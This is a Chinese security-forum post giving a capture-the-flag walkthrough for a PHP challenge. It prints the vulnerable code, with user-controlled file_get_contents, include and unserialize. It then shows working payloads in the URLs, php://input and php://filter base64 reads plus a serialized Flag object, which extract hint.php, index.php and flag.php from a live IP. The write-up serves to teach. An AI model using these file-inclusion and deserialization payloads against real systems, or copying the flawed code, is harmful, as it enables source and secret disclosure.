用户
搜索

该用户从未签到

i春秋-呆萌菜鸟

末心网安 海格

Rank: 1

5

主题

5

帖子

79

魔法币
收听
0
粉丝
0
注册时间
2021-6-9
发表于 2021-11-23 11:44:14 2874
0x01前言:
今天看了一个题目,貌似是某中职的一位信息安全老师在某企业培训的一道题(某比赛之前出过原题)。
01.png
题目输出you are not the number of GL_ChinaMobile
0x02解题:
我们发现右键——查看源代码,可以看到提示??
02.png

$user = $_GET["txt"];   
$file = $_GET["file"];   
$pass = $_GET["password"];      
if(isset($user)&&(file_get_contents($user,'r')==="GL_ChinaMobile")){  
     echo "hello admin!<br>";   
     include($file); //hint.php  
}else{  
     echo "you are not admin ! ";  
}   
0x03分析:
代码理解:首先Get进入三个变量,参数名分别为txt、file、password。判断了$user是否存在,然后判断$user的文件内容是否等于GL_ChinaMobile。(这是第一个绕过)
    include,即引入一个文件,那么这个命令是可以存在任意文件读取漏洞....

http://159.75.250.246/ctf10/?txt=php://input
根据我们的PHP封装协议。啊,我们可以用PHP input的方式,通过POST传入文件。
03.png
那么我们第2步要用到另一个PHP封装协议——php://filter。
&file=php://filter/convert.base64-encode/resource=hint.php
http://159.75.250.246/ctf10/?txt=php://input&file=php://filter/convert.base64-encode/resource=hint.php
在上一个语句中加上这一串,就可以读取到我们的hint.php
网站传出的是Base64,我们根据BASE64解码,得到hint.php里的内容。
<?php  

class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file);
            echo "<br>";
        return ("good");
        }  
    }  
}  
?>
我们又用这个漏洞读取了index.php
<?php
error_reporting(0);
$txt = $_GET["txt"];  
$file = $_GET["file"];  
$password = $_GET["password"];  

if(isset($txt)&&(file_get_contents($txt,'r')==="GL_ChinaMobile")){  
    echo "hello friend!<br>";  
    if(preg_match("/flag/",$file)){
        echo "flag fitter";
        exit();  
    }else{  
        include($file);   
        $password = unserialize($password);  
        echo $password;  
    }  
}else{  
    echo "you are not the number of GL_ChinaMobile ! ";  
}  

?>  

<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  

if(isset($user)&&(file_get_contents($user,'r')==="GL_ChinaMobile")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
-->

由hint.php和index.php,我们得知需要反序列化。
0x04反序列化:
那么我们编写代码:
04.png
进行反序列化操作:

05.png
得到了, O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
如果直接进入http://159.75.250.246/ctf10/?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
06.png
会提示Good
输入题目的URL中:http://159.75.250.246/ctf10/?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}
执行后,输出了Base编码的一段代码
0x05Flag!!:

<?php

$flag='flag{GL_ChinaMobile}';

flag为flag{GL_ChinaMobile}
视频地址https://www.bilibili.com/video/BV1Fq4y1g7Jx/



微信公众号:末心网安 | Q群973504130 | 淘宝店铺:末心网络|TinSec(听安)
很厉害的文章!!!!!!
使用道具 举报 回复
学习了学习了
使用道具 举报 回复
发新帖
您需要登录后才可以回帖 登录 | 立即注册